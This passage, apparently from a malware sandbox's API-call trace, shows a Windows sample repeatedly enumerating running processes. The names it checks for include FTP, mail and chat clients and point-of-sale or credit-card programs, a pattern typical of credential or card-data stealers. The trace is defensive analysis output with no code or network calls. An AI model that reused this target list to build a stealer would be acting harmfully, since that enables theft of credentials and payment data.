szExeFile="far.exe")) returned 1 [0255.774] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0255.776] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0255.778] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0255.780] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0255.783] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0255.785] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0255.787] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0255.790] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0255.853] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0255.855] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0255.857] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0255.859] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0255.861] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0255.864] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0255.866] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0255.868] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0255.871] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0255.873] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0255.875] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0255.878] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0255.880] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0255.882] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0255.885] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0255.887] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0255.889] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0255.892] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0255.960] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0255.962] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0255.964] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0255.966] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0255.967] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0255.969] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0255.972] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0255.974] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0255.976] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0255.978] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0255.980] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0255.982] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0255.984] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0255.986] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0255.988] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0255.990] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0255.992] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0255.994] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0256.052] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0256.055] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0256.057] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.059] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.060] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0256.062] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0256.066] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0256.068] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0256.070] CloseHandle (hObject=0x1038) returned 1 [0256.070] Sleep (dwMilliseconds=0x64) [0256.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0256.230] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.232] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.234] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.236] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.291] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.292] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.294] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.295] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.297] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.298] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.315] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.317] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.319] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.321] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.323] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.325] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.327] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.328] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.330] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.331] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.332] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.334] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.336] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.337] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.339] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.341] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.342] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.344] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.346] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0256.398] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0256.400] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.403] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 